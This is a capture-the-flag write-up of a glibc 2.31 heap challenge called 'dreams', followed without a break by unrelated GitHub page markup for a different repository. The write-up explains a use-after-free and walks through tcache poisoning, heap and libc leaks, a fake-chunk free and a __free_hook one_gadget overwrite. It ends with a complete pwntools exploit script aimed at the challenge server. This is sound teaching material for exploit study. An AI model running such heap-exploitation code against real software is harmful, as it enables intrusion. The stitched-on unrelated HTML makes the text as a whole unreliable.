1) it asks for an index which should be a value from 0 to `MAX_DREAMS-1`2) whatever your index `i` is the code will put a pointer made from `malloc(28)` at `dreams + 8*i` (in other words `dreams` is an array of pointers to small chunks)3) the first 8 bytes of the new chunk are given first4) the next 20 bytes of the chunk are given next
Let's look at the edit function `psychiatrist`:
```cvoid psychiatrist(void)
{ long in_FS_OFFSET; int local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Due to your HMO plan, you can only consult me to decipher your dream."); printf("What dream is giving you trouble? "); local_14 = 0; __isoc99_scanf(&DAT_00402104,&local_14); getchar(); if (*(long *)(dreams + (long)local_14 * 8) == 0) { puts("Invalid dream!"); /* WARNING: Subroutine does not return */ exit(1); } printf("Hmm... I see. It looks like your dream is telling you that "); puts((char *)(*(long *)(dreams + (long)local_14 * 8) + 8)); puts( "Due to the elusive nature of dreams, you now must dream it on a different day. Sorry, I don\'t make the rules. Or do I?" ); printf("New date: "); read(0,*(void **)(dreams + (long)local_14 * 8),8); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
OK interesting:
1) If you call this function on an index that points to a null address you will crash the program2) It will display the values in your requested chunk starting 8 bytes in3) It will overwrite the first 8 bytes of your chunk
So immediately we should be thinking of editing a `fd` pointer inside of the tcache once a chunk is free'd. That would make for a great __write-what-where__ (known as tcache-poisoning, see https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c).
Also it's possible we can get a __leak__ out of this function but we'll need the address to be 8 bytes into the chunk which only happens for chunks in the unsorted bins, small bins, or large bins. So far we're limited to making small chunks, so getting into those other bins will take some work.
Before even reversing the free function I start to test if a use-after-free exists here. It totally does.
OK onto the free function, `sell`:
```cvoid sell(void)
{ long in_FS_OFFSET; int local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("You\'ve come to sell your dreams."); printf("Which one are you trading in? "); local_14 = 0; __isoc99_scanf(&DAT_00402104,&local_14); getchar(); if ((local_14 < MAX_DREAMS) && (-1 < local_14)) { puts("You let it go. Suddenly you feel less burdened... less restrained... freed. At last."); free(*(void **)(dreams + (long)local_14 * 8)); puts("Your money? Pfft. Get out of here."); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } puts("Out of bounds!"); /* WARNING: Subroutine does not return */ exit(1);}```
Nothing too noteworthy here, other than the absence of clearing the free'd pointer.
Alright so what did we learn while reversing?
1) We cannot control the chunk sizes2) We can use-after-free3) We can leak but only 8 bytes after the start of the chunk4) We can create a write-what-where using tcache-poisoning
What have we not learned yet? Well, we could win right now IF we had a glibc leak and one of the one_gadgets is viable.
But we don't have any leaks yet really. So we have to get clever.
## The Planned Exploit
TLDR: change MAX_DREAMS to a large value, generate a heap leak by using a large index and dropping a chunk's address into an area I can read, then do house of spirit to create a glibc leak.
OK so, hear me out, we have a write-what-where, and it's fairly simple too: 1) malloc A, 2) malloc B, 3) free A, 4) free B, 5) set the first 8 bytes of B to my target address, 6) malloc C,7) finally malloc D will give me any address I'd like.
(I had immediately setup the write-what-where and was excited until I realized I had no idea what to target.)
So, if we can overwrite `MAX_DREAMS` (which we do know an address to) then we can malloc a large number of chunks.
If I can malloc a large block of chunks I _could_ use a heap-leak plus our WWW to help me overwrite the `size_field` of the first chunk in a block of chunks. Now when we free it will pretend to be a much larger chunk (`house_of_spirit` style), that will let us synthesize both a `fd` and `bk` pointer which we can use the leak/edit function to get our glibc address.
### Changing MAX_DREAMS
Alright, so when I set about targeting MAX_DREAMS my first versions looked like this (I wrote some utilities for `malloc`, `free`, and `hack` which you can see in the full exploit script at the bottom:
```pythonmalloc(0, "pay1", "pay2")malloc(1, "pay3", "pay4")free(0)free(1)hack(1, p64(elf.sym.MAX_DREAMS))malloc(2, "junk1", "junk2")malloc(3, b"\xff\xff", b"junk3")```
This, annoyingly, didn't work. Also the glibc they gave us didn't have debug symbols which means I couldn't use the cool `bins` command to inspect my tcache exploit. So I pulled out the debug glibc 2.31 (different one_gadgets so I went right back after debug mode).
I could confirm that I `MAX_DREAMS` was inside of the tcache, but take a look at what was going on:
```bashpwndbg> binstcachebins0x30 [ 2]: 0x12c2310 —▸ 0x404010 (MAX_DREAMS) ◂— 0x5fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsemptypwndbg>```
That value `0x5` currently in `MAX_DREAMS` was trying to be loaded into tcache. So I went looking for a target nearby that was already a null pointer and I'd just have to his the `MAX_DREAMS` from an offset. I used `dq &0x404010-32` to poke around and find a suitable target.
OK so once we can set `MAX_DREAMS` to any value we want, what next? I know I want to make a bunch of chunks in a rows to make a fake chunk, but how exactly will I edit the chunk's metadata? Well if you have a WWW hammer everything is a nail, but we'll need a heap leak next.
### Generating our heap_leak
The next thing I did was fart around with our new malloc limits, we can assign dreams to any index we'd like. OH WAIT. How did that code work again? AH so if I assign my chunk's address to `i` it will write the chunk's address (a _heap_ address mind you) to `dreams + 8*i`, awesome! So that means I can make a chunk, figure out how far from `dreams` it is, then ask for that distance/8 and it will drop a heap address right into my chunk. If I target chunk+8 then I can leak that heap address! OK next task, our heap leak. The pwntools segment looked like this:
```pythonmalloc(533, "FINDME", "PAY2")chunkleak = heapleak(533)heapbase = chunkleak - 4928print(hex(heapbase))```
Now that's the finished product, how on earth did I get 533 and 4928 you ask? Well I did `malloc(10, "FINDME", "PAYLOAD2")` and inspected by chunks using pwndbg's `vis` command. Now I can never scroll properly when I'm tmux split-screening so I also used the `heap` command and `dq someaddress` to find the address of `dream` and the address of my latest chunk+8. When I subtracted them I got 4264, which led to adjusting `10` to `4264//8 == 533`. Then I wrote a `heapleak` utility function to call the edit and parse my leaked address using `u64`. Once I had that address in hand I checked its distance from the beginning of heap which was 4928. Both of these numbers are VERY SPECIFIC to my exact exploit. If I made a few more or less mallocs before that moment both would need to be recomputed.
### From heap_leak to glibc_leak (baby house of spirit)
I'm not totally sure if this is the textbook house of spirit or not, but here was my idea.
Make enough chunks back to back that I know their entire length is more than 0x420 (easy to remember the tcache cut-off).
Use our heap leak and WWW to target the size_field of the first chunk in our block of chunks. Then free the first chunk which will make a large, fake, chunk that will go into the unsorted bin.
Alright here's my python:
```python#making a block of chunks adjacent to each other, each of size 48for i in range(25): malloc(10+i, "fake-"+str(i), "fake2-"+str(i))#altogether these make 1200 bytes
#Now we setup our write-what-where via tcache poisoningmalloc(35, "free1", "free1p")malloc(36, "free2", "free2p")free(35)free(36)
#this target is 16 bytes before the 10th chunkoffset = 4952targethere = heapbase + offset
hack(36, p64(targethere))
malloc(37, "junk", "junk2")malloc(38, "junk", p64(0) + p64(0x4b1))#OK chunk 10 now looks like it has size 1200 (and prev_in_use flag set to 1)free(10)```
That just worked. I was really pleased. For about 5 minutes.
Getting the glibc leaks was easy enough, just had to debug and calculate some offsets to get something like this:
```pythonglibcleak = heapleak(10) #glibcglibcbase = glibcleak - 2018272 #mainarena + 88 if I recall correctlyoneg=0xe3b2eonegadget = glibcbase + onegfreehook = glibcleak + 8808```
I was so ready to just win at this point (time was running out) then I setup the rest of the exploit just in case:
```pythonmalloc(41, "free1", "free1a")malloc(42, "free2", "free2a")free(41)free(42)hack(42, p64(freehook-16))malloc(43, "junk", "junk2")malloc(44, "junk", p64(0) + p64(onegadget))free(43)```
This would setup the last write-what-where and drop our onegadget into the `__free_hook`. BUT NO.
So what was wrong with this picture? Well, if I do a malloc and all of the tcache and fastbins are empty, then it's going to check the unsorted bins. But if you ran `bins` after my glibc leak, you'd see the unsorted bins were labelled `corrupted`. I started to panic there wasn't time to figure out how to make my fake chunk more real, only 30 minutes left and I had to get home ASAP too.
But then it struck me, if the tcache isn't empty, there's no problem, so let's just malloc those WWW chunks BEFORE we free the fake one.
The rest was history, 24 minutes left in the CTF and I cracked a proper heap problem!
Here's the script including the utilities:
```pythonfrom pwn import *
elf=ELF("./dreams")libc = ELF("./libc.so.6")
#TMUX mode (not confident)#context.terminal = ['tmux', 'splitw', '-h']#p=gdb.debug("./dreams")#, gdbscript=gs)
#LOCAL MODE (more confident)#p=process("./dreams")
#REMOTE MORE (let's get this)p=remote("challs.actf.co",31227)
def malloc(idx, pay1, pay2): global p r1 = p.sendlineafter(b"> ", "1") r2 = p.sendlineafter(b"keep this dream? ",str(idx)) r3 = p.sendlineafter(b"yy))? ",pay1) r4 = p.sendlineafter(b"you dream about? ", pay2) return r1 +r2+r3+r4
def free(idx): global p r1 = p.sendlineafter(b"> ", "2") r2 = p.sendlineafter(b"trading in?",str(idx)) return r1 +r2
def hack(idx, payload): global p r1 = p.sendlineafter(b"> ", "3") r2 = p.sendlineafter(b"you trouble?",str(idx)) r3 = p.sendlineafter(b"New date:",payload) return r1 +r2+r3
def heapleak(idx): global p r1 = p.sendlineafter(b"> ", "3") r2 = p.sendlineafter(b"you trouble?", str(idx)) r3 = p.recvuntil(b"you that ") leakraw = p.recvuntil(b"\n")[:-1] theleak = u64(leakraw + b"\x00"*(8-len(leakraw))) p.sendlineafter(b"New date:", b"JUNK") return theleak
malloc(0, "junk1", "junk2")malloc(1, "junk3", "junk4")free(0)free(1)target = 0x404028-32
print(hack(1, p64(target)))print(malloc(2, "junk5", "junk6"))malloc(3, b"\xff\xff", b"\xff\xff\xff")#this set MAX_DREAMS to a large number
#Now I can make a fake chunk of a large enough size to get a glibc leakmalloc(533, "FINDME", "PAY2")chunkleak = heapleak(533)heapbase = chunkleak - 4928print(hex(heapbase))
for i in range(25): malloc(10+i, "fake-"+str(i), "fake2-"+str(i))
malloc(35, "free1", "free1p")malloc(36, "free2", "free2p")free(35)free(36)offset = 4952targethere = heapbase + offset#this is 16 bytes before the 10th chunkhack(36, p64(targethere))malloc(37, "junk", "junk2")malloc(38, "junk", p64(0) + p64(0x4b1))malloc(41, "free1", "free1a")malloc(42, "free2", "free2a")free(10)glibcleak = heapleak(10) #glibcglibcbase = glibcleak - 2018272oneg=0xe3b2eoneg=0xe3b31onegadget = glibcbase + onegfreehook = glibcleak + 8808print(hex(freehook), "freehook")
free(41)free(42)hack(42, p64(freehook-16))malloc(43, "junk", "junk2")malloc(44, "junk", p64(0) + p64(onegadget))p.sendlineafter(b"> ","2")#p.sendlineafter(b"in?","43")#free(43)p.interactive()```
## MISTAKES
So I just saw someone else's script and immediately learned a couple of things.
1) tcache does put a value in the `bk` pointer a pointer back to the tcache struct it belongs to. I didn't need to do funky stuff to make a heap leak at all.2) I didn't need to overwrite `MAX_DREAMS` and make a big funky fake chunk to get a glibc leak.3) I forgot to tell you I needed to cycle to the second onegadget, but onegadget isn't needed system("/bin/sh") is just fine using free_hook as system and writing "/bin/sh" into a chunk. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-Writeups/Cyber_Apocalypse2022/pwn/Hellbound at main · GonTanaka/CTF-Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="EC8F:8CC1:1555B6AB:15F56149:64121B33" data-pjax-transient="true"/><meta name="html-safe-nonce" content="3195036f6c9a55f8b6c44fb689426c45a00144a221c90af5794b1ec88b1eb5bf" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzhGOjhDQzE6MTU1NUI2QUI6MTVGNTYxNDk6NjQxMjFCMzMiLCJ2aXNpdG9yX2lkIjoiMzUyMTMzMDM5OTMxNjk0MTYxOSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="a8d1b41650b123663551d66b98e8df0b4c7ef7d26c5a7cceb7022cfc0639ea6f" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:437949506" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn/Hellbound at main · GonTanaka/CTF-Writeups" /><meta name="twitter:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta property="og:image:alt" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn/Hellbound at main · GonTanaka/CTF-Writeups" /><meta property="og:url" content="https://github.com/GonTanaka/CTF-Writeups" /><meta property="og:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/GonTanaka/CTF-Writeups git https://github.com/GonTanaka/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="96073448" /><meta name="octolytics-dimension-user_login" content="GonTanaka" /><meta name="octolytics-dimension-repository_id" content="437949506" /><meta name="octolytics-dimension-repository_nwo" content="GonTanaka/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="437949506" /><meta name="octolytics-dimension-repository_network_root_nwo" content="GonTanaka/CTF-Writeups" />
<link rel="canonical" href="https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn/Hellbound" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
